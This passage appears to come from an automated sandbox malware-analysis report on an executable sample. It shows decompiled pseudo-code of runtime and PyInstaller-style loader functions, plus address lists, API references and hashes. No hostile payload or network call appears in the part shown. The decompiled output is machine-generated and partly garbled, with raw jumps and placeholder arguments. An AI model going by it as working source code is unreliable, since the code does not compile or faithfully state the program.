				goto 0xda8f5f31;
				 *((char*)( *((intOrPtr*)(0xda91ca20 + ( *_t303 >> 6) * 8)) + 0x39 + ( *_t303 +  *_t303 * 8) * 8)) =  *((intOrPtr*)(_t309 - 0x61));
				 *( *((intOrPtr*)(0xda91ca20 + ( *_t303 >> 6) * 8)) + 0x3d + ( *_t303 +  *_t303 * 8) * 8) =  *( *((intOrPtr*)(0xda91ca20 + ( *_t303 >> 6) * 8)) + 0x3d + ( *_t303 +  *_t303 * 8) * 8) ^ (r12d >> 0x00000010 ^  *( *((intOrPtr*)(0xda91ca20 + ( *_t303 >> 6) * 8)) + 0x3d + ( *_t303 +  *_t303 * 8) * 8)) & 0x00000001;
				if (( *(_t309 - 0x41) & 0x00000048) != 0) goto 0xda8f5fd9;
				if ((r12b & 0x00000008) == 0) goto 0xda8f5fd9;
				_t279 =  *_t303;
				_t249 =  *((intOrPtr*)(0xda91ca20 + (_t279 >> 6) * 8));
				 *(_t249 + 0x38 + (_t279 + _t279 * 8) * 8) =  *(_t249 + 0x38 + (_t279 + _t279 * 8) * 8) | 0x00000020;
				if ((_t186 & 0xc0000000) != 0xc0000000) goto 0xda8f6088;
				if ((r12b & 0x00000001) == 0) goto 0xda8f6088;
				CloseHandle(_t308);
				r8d =  *(_t309 - 0x29);
				asm("btr ebx, 0x1f");
				 *((long long*)(_t312 + 0x30)) = _t306;
				 *(_t312 + 0x28) = 0xc0000000;
				 *((intOrPtr*)(_t312 + 0x20)) =  *((intOrPtr*)(_t309 - 0x51));
				 *(_t309 - 0x55) = _t186;
				CreateFileW(??, ??, ??, ??, ??, ??, ??);
				if (_t249 != 0xffffffff) goto 0xda8f606e;
				_t182 = E00007FF77FF7DA8E4308(GetLastError(), _t249,  *((intOrPtr*)(_t309 + 0x5f)));
				 *( *((intOrPtr*)(0xda91ca20 + ( *_t303 >> 6) * 8)) + 0x38 + ( *_t303 +  *_t303 * 8) * 8) =  *( *((intOrPtr*)(0xda91ca20 + ( *_t303 >> 6) * 8)) + 0x38 + ( *_t303 +  *_t303 * 8) * 8) & 0x000000fe;
				E00007FF77FF7DA8E6D8C(_t182, _t186,  *_t303, _t257, _t303, _t306);
				goto 0xda8f5d3d;
				 *((long long*)( *((intOrPtr*)(0xda91ca20 + ( *_t303 >> 6) * 8)) + 0x28 + ( *_t303 +  *_t303 * 8) * 8)) = _t249;
				return 0;
			}



























                                                                                                                              0x7ff7da8f5cbc
                                                                                                                              0x7ff7da8f5cbf
                                                                                                                              0x7ff7da8f5cc3
                                                                                                                              0x7ff7da8f5cc7
                                                                                                                              0x7ff7da8f5ccb
                                                                                                                              0x7ff7da8f5cd8
                                                                                                                              0x7ff7da8f5cdc
                                                                                                                              0x7ff7da8f5ce3
                                                                                                                              0x7ff7da8f5ce6
                                                                                                                              0x7ff7da8f5ce9
                                                                                                                              0x7ff7da8f5ced
                                                                                                                              0x7ff7da8f5cf0
                                                                                                                              0x7ff7da8f5cf4
                                                                                                                              0x7ff7da8f5cfe
                                                                                                                              0x7ff7da8f5d03
                                                                                                                              0x7ff7da8f5d06
                                                                                                                              0x7ff7da8f5d0b
                                                                                                                              0x7ff7da8f5d0f
                                                                                                                              0x7ff7da8f5d14
                                                                                                                              0x7ff7da8f5d19
                                                                                                                              0x7ff7da8f5d22
                                                                                                                              0x7ff7da8f5d27
                                                                                                                              0x7ff7da8f5d2f
                                                                                                                              0x7ff7da8f5d31
                                                                                                                              0x7ff7da8f5d38
                                                                                                                              0x7ff7da8f5d3a
                                                                                                                              0x7ff7da8f5d3d
                                                                                                                              0x7ff7da8f5d44
                                                                                                                              0x7ff7da8f5d49
                                                                                                                              0x7ff7da8f5d4e
                                                                                                                              0x7ff7da8f5d53
                                                                                                                              0x7ff7da8f5d55
                                                                                                                              0x7ff7da8f5d5c
                                                                                                                              0x7ff7da8f5d5e
                                                                                                                              0x7ff7da8f5d61
                                                                                                                              0x7ff7da8f5d66
                                                                                                                              0x7ff7da8f5d6c
                                                                                                                              0x7ff7da8f5d80
                                                                                                                              0x7ff7da8f5d8c
                                                                                                                              0x7ff7da8f5d93
                                                                                                                              0x7ff7da8f5d9b
                                                                                                                              0x7ff7da8f5da0
                                                                                                                              0x7ff7da8f5da5
                                                                                                                              0x7ff7da8f5db0
                                                                                                                              0x7ff7da8f5db7
                                                                                                                              0x7ff7da8f5dbb
                                                                                                                              0x7ff7da8f5dbe
                                                                                                                              0x7ff7da8f5dc2
                                                                                                                              0x7ff7da8f5dc8
                                                                                                                              0x7ff7da8f5dd7
                                                                                                                              0x7ff7da8f5ddf
                                                                                                                              0x7ff7da8f5de5
                                                                                                                              0x7ff7da8f5dee
                                                                                                                              0x7ff7da8f5df3
                                                                                                                              0x7ff7da8f5df7
                                                                                                                              0x7ff7da8f5dfa
                                                                                                                              0x7ff7da8f5e01
                                                                                                                              0x7ff7da8f5e06
                                                                                                                              0x7ff7da8f5e12
                                                                                                                              0x7ff7da8f5e1f
                                                                                                                              0x7ff7da8f5e21
                                                                                                                              0x7ff7da8f5e39
                                                                                                                              0x7ff7da8f5e3d
                                                                                                                              0x7ff7da8f5e4a
                                                                                                                              0x7ff7da8f5e4f
                                                                                                                              0x7ff7da8f5e57
                                                                                                                              0x7ff7da8f5e5f
                                                                                                                              0x7ff7da8f5e69
                                                                                                                              0x7ff7da8f5e6b
                                                                                                                              0x7ff7da8f5e8c
                                                                                                                              0x7ff7da8f5e94
                                                                                                                              0x7ff7da8f5e9c
                                                                                                                              0x7ff7da8f5ea2
                                                                                                                              0x7ff7da8f5ea7
                                                                                                                              0x7ff7da8f5ead
                                                                                                                              0x7ff7da8f5eb2
                                                                                                                              0x7ff7da8f5eb9
                                                                                                                              0x7ff7da8f5ebb
                                                                                                                              0x7ff7da8f5ebf
                                                                                                                              0x7ff7da8f5ec4
                                                                                                                              0x7ff7da8f5ec6
                                                                                                                              0x7ff7da8f5ecf
                                                                                                                              0x7ff7da8f5ee1
                                                                                                                              0x7ff7da8f5eec
                                                                                                                              0x7ff7da8f5ef0
                                                                                                                              0x7ff7da8f5efc
                                                                                                                              0x7ff7da8f5f16
                                                                                                                              0x7ff7da8f5f1f
                                                                                                                              0x7ff7da8f5f23
                                                                                                                              0x7ff7da8f5f28
                                                                                                                              0x7ff7da8f5f2d
                                                                                                                              0x7ff7da8f5f31
                                                                                                                              0x7ff7da8f5f39
                                                                                                                              0x7ff7da8f5f3e
                                                                                                                              0x7ff7da8f5f48
                                                                                                                              0x7ff7da8f5f51
                                                                                                                              0x7ff7da8f5f54
                                                                                                                              0x7ff7da8f5f58
                                                                                                                              0x7ff7da8f5f5c
                                                                                                                              0x7ff7da8f5f66
                                                                                                                              0x7ff7da8f5f6f
                                                                                                                              0x7ff7da8f5f73
                                                                                                                              0x7ff7da8f5f8a
                                                                                                                              0x7ff7da8f5faf
                                                                                                                              0x7ff7da8f5fb7
                                                                                                                              0x7ff7da8f5fbd
                                                                                                                              0x7ff7da8f5fbf
                                                                                                                              0x7ff7da8f5fd0
                                                                                                                              0x7ff7da8f5fd4
                                                                                                                              0x7ff7da8f5fe4
                                                                                                                              0x7ff7da8f5fee
                                                                                                                              0x7ff7da8f5ff7
                                                                                                                              0x7ff7da8f6005
                                                                                                                              0x7ff7da8f6009
                                                                                                                              0x7ff7da8f600d
                                                                                                                              0x7ff7da8f6012
                                                                                                                              0x7ff7da8f6019
                                                                                                                              0x7ff7da8f6021
                                                                                                                              0x7ff7da8f602c
                                                                                                                              0x7ff7da8f6039
                                                                                                                              0x7ff7da8f6043
                                                                                                                              0x7ff7da8f605d
                                                                                                                              0x7ff7da8f6064
                                                                                                                              0x7ff7da8f6069
                                                                                                                              0x7ff7da8f6083
                                                                                                                              0x7ff7da8f60aa

                                                                                                                              APIs
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.330832121.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.330809729.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330933416.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA910000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331020191.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: File$CreateErrorLast_invalid_parameter_noinfo$CloseHandle$Type
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 1617910340-0
                                                                                                                              • Opcode ID: fc4e3d656f0044a26b74fdf304308c51d512279bf8c0536431011a1210b51cce
                                                                                                                              • Instruction ID: f8fb22f5ef999e2b23ee530ee61776d181edcacfc9b41277b23e90fc15dd07e0
                                                                                                                              • Opcode Fuzzy Hash: fc4e3d656f0044a26b74fdf304308c51d512279bf8c0536431011a1210b51cce
                                                                                                                              • Instruction Fuzzy Hash: 51C1E432B28A4385FB15EFA4C4805AC7761FB99BA8B810276DE1E977D6CF39D065C310
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8F4FEC Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 143timeCOMMONCrypto
                                                                                                                              Download Yara Rule

                                                                                                                              Control-flow Graph

                                                                                                                              • Executed
                                                                                                                              • Not Executed
                                                                                                                              control_flow_graph 1435 7ff7da8f4fec-7ff7da8f5021 call 7ff7da8f46f8 call 7ff7da8f4700 call 7ff7da8f4768 1442 7ff7da8f515f-7ff7da8f51cd call 7ff7da8e9d20 call 7ff7da8f0608 1435->1442 1443 7ff7da8f5027-7ff7da8f5032 call 7ff7da8f4708 1435->1443 1455 7ff7da8f51cf-7ff7da8f51d6 1442->1455 1456 7ff7da8f51db-7ff7da8f51de 1442->1456 1443->1442 1448 7ff7da8f5038-7ff7da8f5043 call 7ff7da8f4738 1443->1448 1448->1442 1454 7ff7da8f5049-7ff7da8f506c call 7ff7da8e9d68 GetTimeZoneInformation 1448->1454 1469 7ff7da8f5134-7ff7da8f515e call 7ff7da8f46f0 call 7ff7da8f46e0 call 7ff7da8f46e8 1454->1469 1470 7ff7da8f5072-7ff7da8f5093 1454->1470 1460 7ff7da8f526b-7ff7da8f526e 1455->1460 1457 7ff7da8f5215-7ff7da8f5228 call 7ff7da8eca1c 1456->1457 1458 7ff7da8f51e0 1456->1458 1472 7ff7da8f5233-7ff7da8f524e call 7ff7da8f0608 1457->1472 1473 7ff7da8f522a 1457->1473 1461 7ff7da8f51e3 1458->1461 1460->1461 1462 7ff7da8f5274-7ff7da8f527c call 7ff7da8f4d70 1460->1462 1467 7ff7da8f51e8-7ff7da8f5214 call 7ff7da8e9d68 call 7ff7da8dacf0 1461->1467 1468 7ff7da8f51e3 call 7ff7da8f4fec 1461->1468 1462->1467 1468->1467 1476 7ff7da8f5095-7ff7da8f509b 1470->1476 1477 7ff7da8f509e-7ff7da8f50a5 1470->1477 1494 7ff7da8f5255-7ff7da8f5267 call 7ff7da8e9d68 1472->1494 1495 7ff7da8f5250-7ff7da8f5253 1472->1495 1481 7ff7da8f522c-7ff7da8f5231 call 7ff7da8e9d68 1473->1481 1476->1477 1479 7ff7da8f50b9 1477->1479 1480 7ff7da8f50a7-7ff7da8f50af 1477->1480 1488 7ff7da8f50bb-7ff7da8f512f call 7ff7da8dc170 * 4 call 7ff7da8f1bcc call 7ff7da8f5284 * 2 1479->1488 1480->1479 1485 7ff7da8f50b1-7ff7da8f50b7 1480->1485 1481->1458 1485->1488 1488->1469 1494->1460 1495->1481
                                                                                                                              C-Code - Quality: 80%
                                                                                                                              			E00007FF77FF7DA8F4FEC(void* __eflags, signed int* __rax, long long __rbx, void* __rdx, void* __r9, signed int _a8, signed int _a16, signed int _a24, long long _a32) {
				void* __rsi;
				void* _t21;
				long _t28;
				intOrPtr _t31;
				void* _t33;
				void* _t36;
				void* _t37;
				void* _t38;
				signed int _t40;
				signed int _t49;
				intOrPtr _t59;
				intOrPtr _t60;
				signed int* _t63;
				long long _t69;

				_t64 = __rbx;
				_t63 = __rax;
				_a32 = __rbx;
				E00007FF77FF7DA8F4700(E00007FF77FF7DA8F46F8(_t21));
				_a8 = 0;
				_a16 = 0;
				_a24 = 0;
				if (E00007FF77FF7DA8F4768(_t63,  &_a8) != 0) goto 0xda8f515f;
				if (E00007FF77FF7DA8F4708(_t63,  &_a16) != 0) goto 0xda8f515f;
				if (E00007FF77FF7DA8F4738(_t63,  &_a24) != 0) goto 0xda8f515f;
				_t69 =  *0xda91d2b0; // 0x0
				E00007FF77FF7DA8E9D68(_t63, _t69);
				 *0xda91d2b0 = __rbx; // executed
				_t28 = GetTimeZoneInformation(??); // executed
				if (_t28 == 0xffffffff) goto 0xda8f5134;
				_t49 =  *0xda91d2d0 * 0x3c;
				_t8 = _t64 + 1; // 0x1
				_t59 =  *0xda91d316; // 0xb
				r8d =  *0xda91d324; // 0x0
				 *0xda91d2c0 = _t8;
				_a8 = _t49;
				if (_t59 == 0) goto 0xda8f509e;
				_a8 = r8d * 0x3c + _t49;
				_t60 =  *0xda91d36a; // 0x3
				if (_t60 == 0) goto 0xda8f50b9;
				_t31 =  *0xda91d378; // 0xffffffc4
				if (_t31 == 0) goto 0xda8f50b9;
				_t40 = (_t31 - r8d) * 0x3c;
				goto 0xda8f50bb;
				_a24 = _t40;
				_a16 = _t40;
				r8d = 0x80;
				E00007FF77FF7DA8DC170();
				r8d = 0x80;
				E00007FF77FF7DA8DC170();
				r8d = 0x40;
				E00007FF77FF7DA8DC170();
				r8d = 0x40;
				E00007FF77FF7DA8DC170();
				_t33 = E00007FF77FF7DA8F1BCC(_t40, 0, _t63, __rbx, _t63[2], __rdx, _t63, __r9);
				r9d = _t33;
				E00007FF77FF7DA8F5284(__rbx, 0xda91d2d4,  *_t63, _t63,  *_t63, __r9);
				r9d = _t33;
				_t36 = E00007FF77FF7DA8F46F0(E00007FF77FF7DA8F5284(_t64, 0xda91d328, _t63[2], _t63, _t63[2], __r9));
				 *_t63 = _a8;
				_t37 = E00007FF77FF7DA8F46E0(_t36);
				 *_t63 = _a16;
				_t38 = E00007FF77FF7DA8F46E8(_t37);
				 *_t63 = _a24;
				return _t38;
			}

















                                                                                                                              0x7ff7da8f4fec
                                                                                                                              0x7ff7da8f4fec
                                                                                                                              0x7ff7da8f4fec
                                                                                                                              0x7ff7da8f5003
                                                                                                                              0x7ff7da8f500e
                                                                                                                              0x7ff7da8f5014
                                                                                                                              0x7ff7da8f5017
                                                                                                                              0x7ff7da8f5021
                                                                                                                              0x7ff7da8f5032
                                                                                                                              0x7ff7da8f5043
                                                                                                                              0x7ff7da8f5049
                                                                                                                              0x7ff7da8f5050
                                                                                                                              0x7ff7da8f505c
                                                                                                                              0x7ff7da8f5063
                                                                                                                              0x7ff7da8f506c
                                                                                                                              0x7ff7da8f5072
                                                                                                                              0x7ff7da8f5079
                                                                                                                              0x7ff7da8f507c
                                                                                                                              0x7ff7da8f5083
                                                                                                                              0x7ff7da8f508a
                                                                                                                              0x7ff7da8f5090
                                                                                                                              0x7ff7da8f5093
                                                                                                                              0x7ff7da8f509b
                                                                                                                              0x7ff7da8f509e
                                                                                                                              0x7ff7da8f50a5
                                                                                                                              0x7ff7da8f50a7
                                                                                                                              0x7ff7da8f50af
                                                                                                                              0x7ff7da8f50b4
                                                                                                                              0x7ff7da8f50b7
                                                                                                                              0x7ff7da8f50bb
                                                                                                                              0x7ff7da8f50c0
                                                                                                                              0x7ff7da8f50cb
                                                                                                                              0x7ff7da8f50ce
                                                                                                                              0x7ff7da8f50d7
                                                                                                                              0x7ff7da8f50dc
                                                                                                                              0x7ff7da8f50e9
                                                                                                                              0x7ff7da8f50ee
                                                                                                                              0x7ff7da8f50f7
                                                                                                                              0x7ff7da8f50fc
                                                                                                                              0x7ff7da8f5101
                                                                                                                              0x7ff7da8f5113
                                                                                                                              0x7ff7da8f5118
                                                                                                                              0x7ff7da8f512c
                                                                                                                              0x7ff7da8f5137
                                                                                                                              0x7ff7da8f513c
                                                                                                                              0x7ff7da8f5141
                                                                                                                              0x7ff7da8f5146
                                                                                                                              0x7ff7da8f514b
                                                                                                                              0x7ff7da8f5150
                                                                                                                              0x7ff7da8f515e

                                                                                                                              APIs
                                                                                                                              • _get_daylight.LIBCMT ref: 00007FF7DA8F501A
                                                                                                                                • Part of subcall function 00007FF7DA8F4768: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7DA8F477C
                                                                                                                              • _get_daylight.LIBCMT ref: 00007FF7DA8F502B
                                                                                                                                • Part of subcall function 00007FF7DA8F4708: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7DA8F471C
                                                                                                                              • _get_daylight.LIBCMT ref: 00007FF7DA8F503C
                                                                                                                                • Part of subcall function 00007FF7DA8F4738: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7DA8F474C
                                                                                                                                • Part of subcall function 00007FF7DA8E9D68: HeapFree.KERNEL32(?,?,?,00007FF7DA8F1D92,?,?,?,00007FF7DA8F1DCF,?,?,00000000,00007FF7DA8F2295,?,?,?,00007FF7DA8F21C7), ref: 00007FF7DA8E9D7E
                                                                                                                                • Part of subcall function 00007FF7DA8E9D68: GetLastError.KERNEL32(?,?,?,00007FF7DA8F1D92,?,?,?,00007FF7DA8F1DCF,?,?,00000000,00007FF7DA8F2295,?,?,?,00007FF7DA8F21C7), ref: 00007FF7DA8E9D88
                                                                                                                              • GetTimeZoneInformation.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,00007FF7DA8F527C), ref: 00007FF7DA8F5063
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.330832121.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.330809729.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330933416.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA910000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331020191.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: _get_daylight_invalid_parameter_noinfo$ErrorFreeHeapInformationLastTimeZone
                                                                                                                              • String ID: Pacific Daylight Time$Pacific Standard Time
                                                                                                                              • API String ID: 3458911817-1154798116
                                                                                                                              • Opcode ID: ebf0fab6262dda880ec8a3f7829b8f0ef6cdee7ad497893a0bcebaa39c0ed705
                                                                                                                              • Instruction ID: 0bcb15a6e707eba9853e317cfcc5c56de925f2ef466c3ee07c73118696121731
                                                                                                                              • Opcode Fuzzy Hash: ebf0fab6262dda880ec8a3f7829b8f0ef6cdee7ad497893a0bcebaa39c0ed705
                                                                                                                              • Instruction Fuzzy Hash: F2515B32A086538AF715FF21A8805ADA760BB98788FC44177EE4D83697DF3CE4518760
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8DAE40 Relevance: 3.0, APIs: 2, Instructions: 18COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 74%
                                                                                                                              			E00007FF77FF7DA8DAE40(intOrPtr* __rax, long long __rbx, void* __r8, long long _a8) {
				char _v24;
				void* _t9;
				void* _t10;
				void* _t11;
				signed short _t21;
				void* _t23;
				void* _t27;
				intOrPtr _t37;
				intOrPtr* _t56;
				intOrPtr* _t57;
				void* _t70;

				_t58 = __rbx;
				_t56 = __rax;
				E00007FF77FF7DA8DB7E0(); // executed
				SetUnhandledExceptionFilter(??);
				goto 0xda8e8a44;
				asm("int3");
				asm("int3");
				asm("int3");
				_a8 = __rbx;
				_t9 = E00007FF77FF7DA8DB2CC(1); // executed
				if (_t9 == 0) goto 0xda8dafa8;
				dil = 0;
				_v24 = dil;
				_t10 = E00007FF77FF7DA8DB290();
				_t37 =  *0xda91c560; // 0x2
				if (_t37 == 1) goto 0xda8dafb3;
				if (_t37 != 0) goto 0xda8daee4;
				 *0xda91c560 = 1;
				_t11 = E00007FF77FF7DA8E85C4(__rbx, 0xda8fa468, 0xda8fa4a8); // executed
				if (_t11 == 0) goto 0xda8daec5;
				goto 0xda8daf9d;
				E00007FF77FF7DA8E8580(_t58, 0xda8fa450, 0xda8fa460); // executed
				 *0xda91c560 = 2;
				goto 0xda8daeec;
				dil = 1;
				_v24 = dil;
				E00007FF77FF7DA8DB5E4(E00007FF77FF7DA8DB43C(_t10, 0xda8fa460));
				if ( *_t56 == 0) goto 0xda8daf1f;
				if (E00007FF77FF7DA8DB3A4(_t56, _t56) == 0) goto 0xda8daf1f;
				r8d = 0;
				_t57 =  *_t56;
				E00007FF77FF7DA8DB5EC( *0xda8fa428(_t70));
				if ( *_t57 == 0) goto 0xda8daf41;
				if (E00007FF77FF7DA8DB3A4(_t57, _t57) == 0) goto 0xda8daf41;
				E00007FF77FF7DA8E88D4( *_t57);
				_t21 = E00007FF77FF7DA8DB748(0xda8fa460);
				E00007FF77FF7DA8E852C();
				r9d = _t21 & 0x0000ffff;
				_t78 = _t57;
				_t23 = E00007FF77FF7DA8D1000(_t57); // executed
				if (E00007FF77FF7DA8DB78C(_t57) == 0) goto 0xda8dafbd;
				if (dil != 0) goto 0xda8daf77;
				E00007FF77FF7DA8E88B8(0x7ff7da8d0000, 0xda8fa460, _t57);
				E00007FF77FF7DA8DB460(1, 0);
				_t27 = _t23;
				if (E00007FF77FF7DA8DB78C(_t57) == 0) goto 0xda8dafc5;
				if (_v24 != 0) goto 0xda8daf9b;
				E00007FF77FF7DA8E88A8(0x7ff7da8d0000, 0xda8fa460, _t78);
				return _t27;
			}














                                                                                                                              0x7ff7da8dae40
                                                                                                                              0x7ff7da8dae40
                                                                                                                              0x7ff7da8dae44
                                                                                                                              0x7ff7da8dae49
                                                                                                                              0x7ff7da8dae54
                                                                                                                              0x7ff7da8dae59
                                                                                                                              0x7ff7da8dae5a
                                                                                                                              0x7ff7da8dae5b
                                                                                                                              0x7ff7da8dae5c
                                                                                                                              0x7ff7da8dae6b
                                                                                                                              0x7ff7da8dae72
                                                                                                                              0x7ff7da8dae78
                                                                                                                              0x7ff7da8dae7b
                                                                                                                              0x7ff7da8dae80
                                                                                                                              0x7ff7da8dae87
                                                                                                                              0x7ff7da8dae90
                                                                                                                              0x7ff7da8dae98
                                                                                                                              0x7ff7da8dae9a
                                                                                                                              0x7ff7da8daeb2
                                                                                                                              0x7ff7da8daeb9
                                                                                                                              0x7ff7da8daec0
                                                                                                                              0x7ff7da8daed3
                                                                                                                              0x7ff7da8daed8
                                                                                                                              0x7ff7da8daee2
                                                                                                                              0x7ff7da8daee4
                                                                                                                              0x7ff7da8daee7
                                                                                                                              0x7ff7da8daef3
                                                                                                                              0x7ff7da8daeff
                                                                                                                              0x7ff7da8daf0b
                                                                                                                              0x7ff7da8daf0d
                                                                                                                              0x7ff7da8daf16
                                                                                                                              0x7ff7da8daf1f
                                                                                                                              0x7ff7da8daf2b
                                                                                                                              0x7ff7da8daf37
                                                                                                                              0x7ff7da8daf3c
                                                                                                                              0x7ff7da8daf41
                                                                                                                              0x7ff7da8daf49
                                                                                                                              0x7ff7da8daf4e
                                                                                                                              0x7ff7da8daf51
                                                                                                                              0x7ff7da8daf5d
                                                                                                                              0x7ff7da8daf6b
                                                                                                                              0x7ff7da8daf70
                                                                                                                              0x7ff7da8daf72
                                                                                                                              0x7ff7da8daf7b
                                                                                                                              0x7ff7da8daf80
                                                                                                                              0x7ff7da8daf8d
                                                                                                                              0x7ff7da8daf94
                                                                                                                              0x7ff7da8daf96
                                                                                                                              0x7ff7da8dafa7

                                                                                                                              APIs
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.330832121.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.330809729.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330933416.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA910000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331020191.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: ExceptionFilterUnhandled_invalid_parameter_noinfo
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 59578552-0
                                                                                                                              • Opcode ID: 41e9a32394b2b47377862a5720a33bb80c0e77fc514b686da979f7caaa2f6200
                                                                                                                              • Instruction ID: e907f0bfa4647146e50ff27059062b69f084d159d0509ebf60a1d0cb41e0a547
                                                                                                                              • Opcode Fuzzy Hash: 41e9a32394b2b47377862a5720a33bb80c0e77fc514b686da979f7caaa2f6200
                                                                                                                              • Instruction Fuzzy Hash: 42E0E630E5D143CAF91A7765484207CA4513F65320FE401FBD52D852C3DD5E66B15772
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8D17B0 Relevance: 21.1, APIs: 2, Strings: 10, Instructions: 144COMMON
                                                                                                                              Download Yara Rule

                                                                                                                              Control-flow Graph

                                                                                                                              C-Code - Quality: 18%
                                                                                                                              			E00007FF77FF7DA8D17B0(long long __rbx, signed long long* __rcx, long long _a16) {
				signed int _v16;
				char _v21;
				unsigned long long _v24;
				void* __rdi;
				void* _t40;
				void* _t43;
				intOrPtr _t51;
				intOrPtr _t69;
				signed long long _t84;
				signed long long _t85;
				unsigned long long _t86;
				unsigned long long _t87;
				intOrPtr* _t90;
				long long* _t93;
				void* _t102;
				void* _t110;
				char* _t118;
				void* _t124;
				unsigned long long _t125;
				long long _t127;
				void* _t128;
				void* _t131;
				void* _t132;

				_a16 = __rbx;
				_t84 =  *0xda90d008; // 0xe3add53f52b8
				_t85 = _t84 ^ _t128 - 0x00000030;
				_v16 = _t85;
				_t93 = __rcx;
				if ( *__rcx != 0) goto 0xda8d17ef;
				_t3 = _t93 + 0x78; // 0x78
				_t40 = E00007FF77FF7DA8D3C90(_t85, _t3, "rb"); // executed
				 *__rcx = _t85;
				if (_t85 == 0) goto 0xda8d1842;
				_t86 = "MEI"; // 0xe0b0a0b0049454d
				_v24 = _t86;
				r8d = 8;
				_t87 = _t86 >> 0x18;
				_v21 = _t40 + 0xc;
				E00007FF77FF7DA8D7170(_t87, __rcx, _t85,  &_v24, _t124, _t131); // executed
				_t125 = _t87;
				if (_t87 == 0) goto 0xda8d1842;
				r8d = 0;
				_t43 = E00007FF77FF7DA8DF884(_t87, _t93,  *_t93, _t125); // executed
				if (_t43 >= 0) goto 0xda8d184c;
				_t118 = "Failed to seek to cookie position!\n";
				E00007FF77FF7DA8D24D0(_t43, _t87, "fseek", _t118, _t131, _t132);
				goto 0xda8d19b3;
				_t8 = _t118 - 0x57; // 0x1, executed
				r8d = _t8;
				E00007FF77FF7DA8DF54C(_t118, _t131,  *_t93); // executed
				if (_t87 - 1 >= 0) goto 0xda8d1884;
				_t102 = "fread";
				E00007FF77FF7DA8D24D0(_t87 - 1, _t87, _t102, "Failed to read cookie!\n", _t131,  *_t93);
				goto 0xda8d19b3;
				r8d = 0;
				asm("bswap eax");
				asm("bswap eax");
				_t51 =  *((intOrPtr*)(_t93 + 0x34));
				asm("bswap ecx");
				asm("bswap eax");
				_t127 = _t125 - _t102 + 0x58;
				 *((intOrPtr*)(_t93 + 0x34)) = _t51;
				 *((long long*)(_t93 + 8)) = _t127;
				 *((intOrPtr*)(_t93 + 0x507c)) = 0;
				 *0xda90dc74 = _t51;
				E00007FF77FF7DA8DF884(_t87, _t93,  *_t93, _t127); // executed
				0xda8e4000();
				 *(_t93 + 0x10) = _t87;
				if (_t87 != 0) goto 0xda8d18fe;
				E00007FF77FF7DA8D24D0(_t87, _t87, "malloc", "Could not allocate buffer for TOC!\n", _t131,  *_t93);
				goto 0xda8d19b3;
				r8d = 1;
				E00007FF77FF7DA8DF54C( *((intOrPtr*)(_t93 + 0x30)), _t131,  *_t93);
				if (_t87 - 1 >= 0) goto 0xda8d1925;
